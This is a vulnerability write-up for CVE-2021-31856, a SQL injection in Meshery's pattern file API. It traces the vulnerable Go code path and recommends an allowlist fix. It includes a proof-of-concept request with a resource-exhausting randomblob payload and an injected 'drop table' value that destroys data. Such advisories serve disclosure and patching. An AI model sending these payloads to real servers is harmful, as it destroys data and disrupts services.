ssst0n3/cve-2021-31856Detailed CVE-2021-31856 report with PoC and code analysis for a SQL injection vulnerability in Meshery's pattern file API, enabling unauthenticated data extraction.
| item | details | note |
|---|
| project | https://github.com/layer5io/meshery | |
| date announced | 2021-04-28 | |
| CVE-ID | CVE-2021-31856 | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31856 |
| EDB-ID | \ | |
| Vulnerable Version | v0.5.2 | \ |
| Patched Version | v0.5.3 | https://github.com/layer5io/meshery/pull/2745 |
| CVSS | 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N | |
| Author | https://github.com/ssst0n3 |
GetMesheryPatterns() function in meshery/models/meshery_pattern_persister.go has SQL Injection vulnerability via the /api/experimental/patternfile?order=id%3Bselect(randomblob(1000000000))&page=0&page_size=0 order parameter.
http://<IP>:9081/api/experimental/patternfile?order=id%3Bselect(randomblob(1000000000))&page=0&page_size=0
The parameter order in function GetMesheryPatterns is a instance of string. It will be appended to query statement directly when using gorm, and the sql query statement is executed by Find().
func (mpp *MesheryPatternPersister) GetMesheryPatterns(search, order string, page, pageSize uint64) ([]byte, error) {
if order == "" {
order = "updated_at desc"
}
...
query := mpp.DB.Order(order)
...
Paginate(uint(page), uint(pageSize))(query).Find(&patterns)
...
}
If the parameter order comes from the user's input without any filtering, there is a sql injection vulnerability.
Tracing the call process, we can find that the parameter "order" comes directly from the query.
func (h *Handler) GetMesheryPatternsHandler(
rw http.ResponseWriter,
r *http.Request,
prefObj *models.Preference,
user *models.User,
provider models.Provider,
) {
q := r.URL.Query()
resp, err := provider.GetMesheryPatterns(r, q.Get("page"), q.Get("page_size"), q.Get("search"), q.Get("order"))
if err != nil {
http.Error(rw, fmt.Sprintf("failed to fetch the patterns: %s", err), http.StatusInternalServerError)
return
}
rw.Header().Set("Content-Type", "application/json")
fmt.Fprint(rw, string(resp))
}
If we debug, we can find that the query statement is:
SELECT * FROM `meshery_patterns` ORDER BY <ORDER>
if we let order=id;drop table meshery_patterns, the statement will become
SELECT * FROM `meshery_patterns` ORDER BY id;drop table meshery_patterns
and the table will be deleted.
The full call chain is:
gMux.Handle("/api/experimental/patternfile", h.ProviderMiddleware(h.AuthMiddleware(h.SessionInjectorMiddleware(h.PatternFileRequestHandler)))).
Methods("POST", "GET")
func (h *Handler) PatternFileRequestHandler(
...
h.GetMesheryPatternsHandler(rw, r, prefObj, user, provider)
}
func (h *Handler) GetMesheryPatternsHandler(
...
resp, err := provider.GetMesheryPatterns(r, q.Get("page"), q.Get("page_size"), q.Get("search"), q.Get("order"))
..
func (l *DefaultLocalProvider) GetMesheryPatterns(req *http.Request, page, pageSize, search, order string) ([]byte, error) {
...
return l.MesheryPatternPersister.GetMesheryPatterns(search, order, pg, pgs)
}
func (mpp *MesheryPatternPersister) GetMesheryPatterns(search, order string, page, pageSize uint64) ([]byte, error) {
if order == "" {
order = "updated_at desc"
}
...
query := mpp.DB.Order(order)
...
Paginate(uint(page), uint(pageSize))(query).Find(&patterns)
...
}
Set an allowlist for the parameter order instead of using parameters from user input without any filtering.
You can get some references from gorm's document: https://gorm.io/docs/security.html